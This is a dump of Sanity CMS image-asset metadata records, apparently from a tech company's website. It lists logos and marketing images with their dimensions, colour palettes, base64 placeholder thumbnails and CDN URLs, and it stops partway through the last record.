{"_createdAt":"2022-06-16T22:54:06Z","_id":"image-eab459ac6e0c052074d2c55b60ff15209aacd15e-340x40-png","_rev":"qkpX9b3U0TpOGFQp8fO1xc","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:06Z","assetId":"eab459ac6e0c052074d2c55b60ff15209aacd15e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4025[Uj[ayj[fQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":8.5,"height":40,"width":340},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAAsSAAALEgHS3X78AAAAWUlEQVQImS3OwQqCUBQE0PcL58tq00IIzCgUtUClIlBo4YfHhbubgeEwBSsm9GjwxY4HbrhnHrJHblHjgw0zRhxKQoEsuOCNX0InVOjwTDT2V5yzv/JUoMc/0R8Yugi5qHoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#141414","foreground":"#fff","population":25.76,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141414","foreground":"#fff","population":25.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-northzone.png","path":"images/sczeoy4w/production/eab459ac6e0c052074d2c55b60ff15209aacd15e-340x40.png","sha1hash":"eab459ac6e0c052074d2c55b60ff15209aacd15e","size":2683,"uploadId":"MTuOI24apGtGP1gxP6S0McqONKCqtfyN","url":"https://cdn.sanity.io/images/sczeoy4w/production/eab459ac6e0c052074d2c55b60ff15209aacd15e-340x40.png"} {"_createdAt":"2022-06-30T20:10:47Z","_id":"image-eab50bb3d577164d875f0b1499af24194983b214-2500x1667-png","_rev":"cEPH2uRN58AU2lp9QO8LHd","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:18Z","assetId":"eab50bb3d577164d875f0b1499af24194983b214","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VWIM$C}=0-AIMxxYs.R+WVay0fIo-5$$tRoIjFayj[bH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4997000599880024,"height":1667,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABcRAAAXEQHKJvM/AAADpElEQVQ4jVWTa0xTdxjG33Pa2tJy6ej1NIUWsAy2sVZmdkkWSZhEwEscLiRmhhijWdx09BzoKDR4WOg2I7JqiyK4i5uiwAYUaHuqIjbili1uifuyZJcE6+TyASdx6+YG5/8urcjih+frL8/lfQEFBlKKGAGjDOBFBnBAA9ibCdgEgC4KEI8DfpELZMRKicO51L3zBQCA0NF6AFiOB5ZrS8nJ8gA4CoARA5AIoySCyUoipiIypDeRnow0vJBNk2/yKVHIpPCKTUUmCm1/R4vyb5wpV5orwlSstxrq2TZgk0pBeYDffzwLRMihSIQpRMHYiOP6bvw0y0O8ss3YSpvJOY1cHMqSYCjPSEJrqxMjT1bETlbqy3d9IvO1vUlzKw6dHJ8SLF1ZD/g5JB0Wkqi5nQSZS8SvuooeahDd8Dppl+nETlqCAS1DugxbEn7zppi33LB9f7fC0+hWsBwvY7k2Khk3FfnPr+oA6wEWv2s3LX7P77kfe+vYP90l50m7YgqPyLvIqcx1pEchRW+WgbyvqUp4ja/EPGX62oNdaW6uWcly/JrHgIgIM3N36dvx26XxW9Mn47/+JCxMBU4s9xV8iQPZY2TUWEPC+jQcyNWSgbyNiT5b2aSvSlezr0vON7lkLMc/hD0a5UFiEWZn5qTx+EzZ9K07wenpOzfnb470Lo0+24dBbYSEmJ0kpFfiWL6OjNuqEsPFGy8Hthp27PUr3m1OAVMgJ/uwR5gXtsFvC0jN/vLt2pmfp1xzP4yd/mOwrkf0ZQvYrfqMnM3eQD5WrcEOjV70GSsXj1orhg9tN9cd7MxwN7SoUh2y/OrSMH9xByAALF0utfw7+ZJzKbTunHhcKxAPfQlbaY4clucsvwc0HlYbxCO66rsfWKv6W16z7q7vUDc1tKQnO3SyPMWuxAaAWsBrBgoj+mIUDF4c1QWxJ/0j5CVvEzfY0a9SLgczaByyGMWhgs33+4s3hTpfNe3afzTD3ej53+HKcYMprxS+9lup5bBJRwTTBhJmtpJ+7QvEl8ZgQCkn1ywSMaymcaLwCTJR/HxCKCmd7N2m3rmvU9Hk8iTPRvoY0G53SNeX2mV7a56SXT9mkT0YN0nxhpU+gQg4+zTgsAHEQSVgNF9Corb0v0JFquunKyU1ewJU8zst1KNRVoEOh11ptzsynylxqDQ5z0kQAT5EF9yrBcCXATBmAXFMDThZAuLVF2EhXAYXfLvhjQNeaGw4tPrLyf6SwP8A/wjNW6sxa4IAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c244c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9d3f06","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f77508","foreground":"#fff","population":3.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b7b2c5","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd44c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d7458","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f77508","foreground":"#fff","population":3.18,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"eab50bb3d577164d875f0b1499af24194983b214-2500x1667.png","path":"images/sczeoy4w/production/eab50bb3d577164d875f0b1499af24194983b214-2500x1667.png","sha1hash":"eab50bb3d577164d875f0b1499af24194983b214","size":89179,"uploadId":"lZm5iiN6Mq9QZhCYAzp75Z1yYna98I8j","url":"https://cdn.sanity.io/images/sczeoy4w/production/eab50bb3d577164d875f0b1499af24194983b214-2500x1667.png"} {"_createdAt":"2023-03-21T15:15:16Z","_id":"image-eb307b22e1ac2a9ee4e17e40fa4c52ad01f19960-800x638-png","_rev":"dbnYPrvSKGV9AwPMviNb30","_type":"sanity.imageAsset","_updatedAt":"2023-03-21T15:15:16Z","assetId":"eb307b22e1ac2a9ee4e17e40fa4c52ad01f19960","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V009jvfQfQfQfQfQfQfQfQfQfQfQfQfQfQfQfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2539184952978057,"height":638,"width":800},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAABnklEQVQ4ja3S20uVURAF8F9papaGJNQ53dSKbtDVisoeohK7qZHWSY9pVA/R//8ec1gbTpAF0cDH3t/s2WvWWntgDXv4iB7e4zVu4oh/iCVs41uAtwP8EDM4hDGM4gBGMJH8SHK/xOOw+hKWq1jGfdzCIu7hLq7gGh7gDm7gKi7hIk4X4EqAfuB7gDfwMo16+b6ij7f4gC18xqfkK/esAJ/iDTZTtBPA1fi7kponseF6WN2OXUt4FAXFftCxH+8KcDde7gW82L3CZRyNlyPxcDx+jsfnyg2KtyJvLez6AWsPtBEmnXbpT/Ei+tcjbz1gO7FhM6yryXOcDct9Yzns3g15uReQXprtxvxScCGS942TOIf5obUunc9+PvuFjMVfh30Kkymcismj2c/kIdogH8x6OHcms29ngyGvEZiLN8XsBKbzqothOBvgsTQ5lfo5nMHxECjwAUhJ6aZoNocLmatuGkwEcDpNuwHuBPBYs2OYeq1truqwWFW+zVibvcoNf82yAcPSXfrr5dra9sP/v/vaeQGWsmL6X6LYlQWdnwZCLGNkbSPwAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.81,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-torino-cities-of-the-future-co-branded.png","path":"images/sczeoy4w/production/eb307b22e1ac2a9ee4e17e40fa4c52ad01f19960-800x638.png","sha1hash":"eb307b22e1ac2a9ee4e17e40fa4c52ad01f19960","size":57074,"uploadId":"Rgk2f2kNOAP66cAYdWD55GlAgfxubIgP","url":"https://cdn.sanity.io/images/sczeoy4w/production/eb307b22e1ac2a9ee4e17e40fa4c52ad01f19960-800x638.png"} {"_createdAt":"2023-01-11T11:25:01Z","_id":"image-eb595387b210e3121a4fc505dd9ae7321b05552d-1200x630-jpg","_rev":"cOoKElpg4AEXyE6qxHLL4O","_type":"sanity.imageAsset","_updatedAt":"2023-01-11T11:25:01Z","assetId":"eb595387b210e3121a4fc505dd9ae7321b05552d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MxO{?tVr~qx]EhXTjFt7WBV@%hgNIUV?sS","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUHBv/EACMQAAEDBAIBBQAAAAAAAAAAAAECAwUABAYREiExBwgTQXH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAAT/xAAdEQACAgIDAQAAAAAAAAAAAAABAgARAyESMWET/9oADAMBAAIRAxEAPwCkeuGV3WPQF4zHqW26tsH5eXadn6qfe3vJ8insvKL+QuXLEW6lBDq+QJBq95RER8na6kLRq4A604ndI43GYaMeK4+PZtlFvjtraet/tWHmiurm7OvBXU0N88hQKK1v033NuPHkUUsjGUN23FIOuR8qJopAYbYwpIuf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#323755","foreground":"#fff","population":0.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c144c","foreground":"#fff","population":18.86,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c144c","foreground":"#fff","population":18.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1c5d1","foreground":"#000","population":1.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea99a5","foreground":"#000","population":0.88,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c74ac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f97206","foreground":"#fff","population":6.91,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"ebook-apache-kafka-for-tech-leaders-meta-preview.jpg","path":"images/sczeoy4w/production/eb595387b210e3121a4fc505dd9ae7321b05552d-1200x630.jpg","sha1hash":"eb595387b210e3121a4fc505dd9ae7321b05552d","size":36794,"uploadId":"yFKWJ8Sv0tKy7BqIlldOlvg7vZbJZnF6","url":"https://cdn.sanity.io/images/sczeoy4w/production/eb595387b210e3121a4fc505dd9ae7321b05552d-1200x630.jpg"} {"_createdAt":"2022-09-02T14:54:41Z","_id":"image-eb684afa93a65218464cc630a49ce790493ba512-950x753-jpg","_rev":"0gThdvMbf71ZLkDCR4Sk9K","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T14:54:41Z","assetId":"eb684afa93a65218464cc630a49ce790493ba512","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V7ELy$9Z%$-QD$:h0K4:^j-;00pK00-ot7u6Rk-q%MD%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2616201859229748,"height":753,"width":950},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAQABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAYHBf/EACIQAAEEAgIDAAMAAAAAAAAAAAECAwQRAAUSIQYHQRMXI//EABYBAQEBAAAAAAAAAAAAAAAAAAIDBP/EABkRAAIDAQAAAAAAAAAAAAAAAAABAgMyUf/aAAwDAQACEQMRAD8AjifXymY7bj0oJSo0LFd/O8pmoDEHQDTOkKklP4013yOD290k+A1Eky2EsqZUOCqtJGIni+/jeMbOe/uELeSDxY+kj5kXU5aZoVsYZQ6tevX9o0mTIjcV1xpKgBQwzK/cewbSka2K2I5F/wBR3d94Y1Suhd64f//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#644836","foreground":"#fff","population":12.46,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8f3212","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#644836","foreground":"#fff","population":12.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7c7c4","foreground":"#000","population":12.31,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4ad85","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#977663","foreground":"#fff","population":10.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc4f11","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-group-lookup.jpg","path":"images/sczeoy4w/production/eb684afa93a65218464cc630a49ce790493ba512-950x753.jpg","sha1hash":"eb684afa93a65218464cc630a49ce790493ba512","size":96652,"uploadId":"CGkcFqpQ1FSxz6OQnYkmi1tMXYMH7sxg","url":"https://cdn.sanity.io/images/sczeoy4w/production/eb684afa93a65218464cc630a49ce790493ba512-950x753.jpg"} {"_createdAt":"2023-08-24T09:40:04Z","_id":"image-eb70b054927e3c880c0576daac8b1b4a158de794-800x800-jpg","_rev":"n4o7HM4ybKf4O57IbSUi5Q","_type":"sanity.imageAsset","_updatedAt":"2023-08-24T09:40:04Z","assetId":"eb70b054927e3c880c0576daac8b1b4a158de794","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eJC$[xpIxH9G}[s=~WJ8-po0Tdo~?HxaIpXmS~xvNuWCRPS#S#ozSe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAQHCAUG/8QAJBAAAQQCAQQCAwAAAAAAAAAAAQACAwQFEQYHEhMhQVEUIpH/xAAYAQADAQEAAAAAAAAAAAAAAAACBAYBBf/EABwRAQADAQADAQAAAAAAAAAAAAEAAhEEEhMyUf/aAAwDAQACEQMRAD8Ajct57jcvfgw1WUy5CaTxucG+owqm6wcdrYe/Cak8k4czfe5ut/fpQeFQuvchizNlz4o2zglzB/V6nqhNBn89HDTsO/CiZoPeNeytC6kH3c9W5uYym0WmOL9IMHfwdWzJ3F0jdk/aIPKNV5rWCwmMqLhU8keMLGn9e8nR+CupeeTdp7AI8jdg/PtETB8Saub2m/s1Fh7T24ys1jY2tDAAA3QHpERc7ZX4T//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#385b57","foreground":"#fff","population":0.63,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#085e53","foreground":"#fff","population":13.91,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#085e53","foreground":"#fff","population":13.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2b1ab","foreground":"#000","population":8.47,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efbcc2","foreground":"#000","population":1.17,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa6e6a","foreground":"#fff","population":2.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2a8f7f","foreground":"#fff","population":0.19,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"1685644958814.jpeg","path":"images/sczeoy4w/production/eb70b054927e3c880c0576daac8b1b4a158de794-800x800.jpg","sha1hash":"eb70b054927e3c880c0576daac8b1b4a158de794","size":126223,"uploadId":"hdDCOb9yRbHmhhWS6KmZfNai3pcono5P","url":"https://cdn.sanity.io/images/sczeoy4w/production/eb70b054927e3c880c0576daac8b1b4a158de794-800x800.jpg"} {"_createdAt":"2022-09-30T15:37:12Z","_id":"image-eb8903262754782c512fafd8648aaf7e0128d25d-475x258-png","_rev":"8WeirZ6KB9gJqgJfvidOTj","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:53:41Z","assetId":"eb8903262754782c512fafd8648aaf7e0128d25d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8OzfC00Rk~p~p004:bH%L%L00?Gj@D%IV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8410852713178294,"height":258,"width":475},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7DAAAOwwHHb6hkAAACSElEQVQokU2P3UuTcRTHn78nI+lF0cILSVEhrOiqLPO1QkUNNA2DQG+iopukRLfppsscRRddFEjojC4CkQJxUq2VrXyeue3Zfu/n9/IsntFFHz5w4Hs453CsQ5dmK9rmKtrmDpc9cjlQeSVY2R48ejVU1xls7ArUdYdqesK1veFjHaGKtrnK9sDJa5HGoeWWm8+t6u75qq7Qic7Q8Q7fqs5Qddd8Tc/Cqevhhr7Flv5IQ/9iff/S6YFo3Y1IbW+4vm+peXj5zMhK68iKdXd2bfDR2wvjsaahaNNgtGko2jz87OKdl6OPVycD8alAfDIYn/LdmAxuTAU37i28vx/58GDR10qkMq/iiYGHb86Nxc6OxlpHV87fio1Nv1v9mNxOOttJJ5HKfNnLJtP577/zqT/uj/+0MINPX+3pF5sTM+u3n66NP1mbmFmff/35WzpPGFAOHJTSxnglzyuVSiWvjDGe1NpyifiTw7s/D7Z205s7e5s7v7YS6d2UnXMRgJRKC1ACNMh/an+RB1IjKqws5gUiGBfFIsrmcvm867puNucXIYRUhjCJCCAKRQKYglTaeB4TMoe4fxkxIUASJgqIIMIQYQVMKeNKa6UM5RJTfxhRYEIZ4xnPE6AKhFscJAcJUlEuERWYA2YSMwCpjTFSacqBMMBlAfywnCsO0qKMEUoxoQiTIsIIE0I5F+A/LCUAcCEY55RxykW5IaSUSimttWUfZJ3Mge1k9m1n33ZsJ+MWCpwzIQTnnPlQgnERIYQxKsMYk1IaY/4CPegOKQW+/IIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#35373b","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#125d94","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2c5c9c","foreground":"#fff","population":7.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cddae7","foreground":"#000","population":1.78,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0c5e1","foreground":"#000","population":1.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#65708a","foreground":"#fff","population":1.8,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c5c9c","foreground":"#fff","population":7.39,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"eb8903262754782c512fafd8648aaf7e0128d25d-475x258.png","path":"images/sczeoy4w/production/eb8903262754782c512fafd8648aaf7e0128d25d-475x258.png","sha1hash":"eb8903262754782c512fafd8648aaf7e0128d25d","size":25471,"uploadId":"7QLitWZ0GKik6ULxXQRVMETFLd8mGoit","url":"https://cdn.sanity.io/images/sczeoy4w/production/eb8903262754782c512fafd8648aaf7e0128d25d-475x258.png"} {"_createdAt":"2023-03-07T13:02:02Z","_id":"image-eba71c7000b6f6e53e28518a923b862e6578dc3c-2500x2708-png","_rev":"iUKOwlWz6dlX4J4w2XMxlW","_type":"sanity.imageAsset","_updatedAt":"2023-03-07T13:02:02Z","assetId":"eba71c7000b6f6e53e28518a923b862e6578dc3c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eJL3.U~o00Vs5P3XJUiwWA#+00+G?^9v?Hm,J7xF$OOr0LE3~W%zVY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9231905465288035,"height":2708,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAWCAYAAADAQbwGAAAACXBIWXMAABcRAAAXEQHKJvM/AAAE6UlEQVQ4jX2VCWwUZRTH325P0LYKJhJQo5UYdsohEAoUcHtRSikWbAuIEGLDDqIUQaDlViKtwYAJxoPLAxUMUQSRGyMGIhoIUAq9qLS0tLTbLm3pscvOzP7/ZrYtAkG/5Jd5L5P88r689/KJ3HNICoCHftvddyT97S3+WGwOEUU1sXTG3bnjX9F/Yfh89+X2ORut1oHzeomiviiKOlIUtZ8oaqBfbFMfXlU3Zq4bhsXt8Vpb2twW6Z0ZIv2zBojN4RBF3SmKuldsjlWiqDGiqBF3hQ9KSAaQ7EXSBmAMgDgAIz/YfiS+r31ZvjVq3kWxOVpFUd2iqJVic+wQRR0jihrwsMoeITmcZDbJLwAcBfAbgF8uld04kJ33/dUXUtZowUPmU2wOiqJCFPWSKOosURzBDwrDAIwHsA1AKYBWADoAA4C3w+P1XCyp1vO2HsKwjPUIHvImuqQloqhZfuE9siAAMQC+BuBE5+GD6IaPf1c3IH/rIdhSVsMapWpic/wpipohihrU1UmY4r4kV5O8ThL/h2H4UFhUyWVrvux4dvTCczJg7loZ+EZUzyiH1S/0Gj4ryBifDz+3eLQ7ZQ3tLHG2o6nDC103oOu6Cbvw1+puaWPBodO1mxx5H46wzY6SEUuDv504v7PLdzQjlGTmrdaO88cLq7DuYCFWHy7BvsJaVDc0w+VysbGx0U9zczO8mgZoGo2C4gbPhs83eO3Tnv4qMUu4Or9bqJudfb24qr44f89JzvrsKKbvOo9lx8pwqrSa1yoqWFZWxvLyctbU1KCtvR2GVyMKij18/+MffHGvDtssIi5zi0yhx6v1IDnzSuXNS/m7T2D2lsOYtr8Y75y+gd+v1sIUFRUVsbS0lFVVVWx0udDW3ELtj3MGcvJ/xdhMu97HbmX32rW23g4kmdDQ3Hri6LkS7b0DZ5lz6jr2VLSy0nUbTqeTtTdvsq6uDs56J1y3buF2fT29+4/omLvsOKPTxmkp2RaYQp85Mpc/EpCRhs+3sanNXV9c18zChnY0enR4dZ2apsGP12viz/WKSvo2b+tAWtZuDk8dvND0ZKSLsPaCMFksuLw3nJ6WKdQ9x+kz3PePCu4fnZYW8OBhcv6SasZOXYXoyX3QM1I4NlUEW+yCFUEhXBUajr+2Po/agsVoqjqPjmYvDK3b1jnXZneddcCxI8TyFW2YlLEPY1LiGTstmLZJwphUES4RwYrAEORIGPP6ReDwykE4s30tCvYXoPyMGzeKiZqrxLUrxNmTxHdbfVi6oAlTXz6GuKTX8FJKb5jrmzBOOMYU5lqEORLCXEs4TemKkF7YFD0c26YvwjfZP3HXqiLuXFvHT3Ma+O7cGjrSLnBK3A6Ot6czPvFJTkiz+Fc3Llk4Ks0U+gn2y5ZbHzXBInmM2T2e4eLnYrF40DwuGLaOWcPzOH3ock4eOoMTo4dwoj2M6ZMF638UjE8WxqQIR08WszpTGIJcifBfO9cSjpVBEVwZFIaF8jjnWvpyTs9IZvZ5ilNtvTljVA8uyrRwxCBhZJIwPlkYHyu0JwnHptwVBjJHQpFrXl1CzZjLA0K5NjSUG8JD+EmvIHKjMDZMkKAI3xJhYqwwIV6QHCNMGieMS+x6T0xhF7gn5tIA4YIwgfqEMKuvhTP7C18ZLEwbKkyNFk4YKzT/pY7wC7vPPyOSRd9ZEFaIAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a3250","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041c84","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f65917","foreground":"#fff","population":0.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6b4a8","foreground":"#000","population":0.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc6c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c8a9c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f65917","foreground":"#fff","population":0.27,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"DAR-logo-image-composition.png","path":"images/sczeoy4w/production/eba71c7000b6f6e53e28518a923b862e6578dc3c-2500x2708.png","sha1hash":"eba71c7000b6f6e53e28518a923b862e6578dc3c","size":178222,"uploadId":"tV2YKYC5ZBkkO8A3CdWtTwHMXFGe2gN1","url":"https://cdn.sanity.io/images/sczeoy4w/production/eba71c7000b6f6e53e28518a923b862e6578dc3c-2500x2708.png"} {"_createdAt":"2022-06-15T20:02:42Z","_id":"image-ec2d86a34aa5ac433aba82e179bbaecf5d6e7b48-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8JCL","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:45Z","assetId":"ec2d86a34aa5ac433aba82e179bbaecf5d6e7b48","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MTR2unc[%2M|ozPDWXa0tQbw-pMxNZ$fXT","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADFElEQVQokR3HW2/TZhgAYP/B3e0CqbsZmna1aRKgMSlp1wNoTYuENHExbSspY0BTnHbl0NIuIRTY0mAnNCcS27Gd+BTb3+dDYgeSpnnfab14Lh6mqzlXJNlMC5K23RZ699pi764kG+mObD4QJO2xIGms0u2zlh2yLo1Z1xuxxLVZv/eOHVS32Sh/+3HI7WapZd0jXjzPCJK+cVoTRK5c90pc1ebLjf5ptW2/r7bdd3ydlrgarTckqhmUEi+mlAyoL1Vp/OY2HT+9TMdbl0i8v+QFAqdQEmYZzaDbsmp5YkdHQdJQ6hgoqxZ2FPPi/1O6fTT7Aeqmj5ogo/fqL/zIfo+fnnyN8f4VjHevYvQ2PQgMOce4NN5yaew6JEKHRDOHRODSCFwSgUOGYDshuCSEvhMAX1fgTaEI0tEeeMcPwT/dAbv6fObsr+Ege82PSw+OGOKNMsQbEeKNkHgxXKARUC8CQgKweh10e1WwTRVLlTa+yBeRPymh0m5gVxGx3TwF8XAD6d0vwsnm5wWG0ChDaEQIHSKlA6A0RI/4F1xDRa3y